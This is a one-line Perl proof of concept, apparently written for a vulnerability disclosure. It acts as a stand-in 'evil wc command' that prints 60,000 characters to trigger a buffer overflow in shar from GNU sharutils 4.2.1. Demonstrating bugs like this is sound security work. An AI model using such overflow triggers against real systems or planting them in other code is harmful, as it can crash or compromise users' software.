#!/usr/bin/perl -- # evil wc command # causes buffer overflow in shar from GNU sharutils 4.2.1 print "U" x 60000;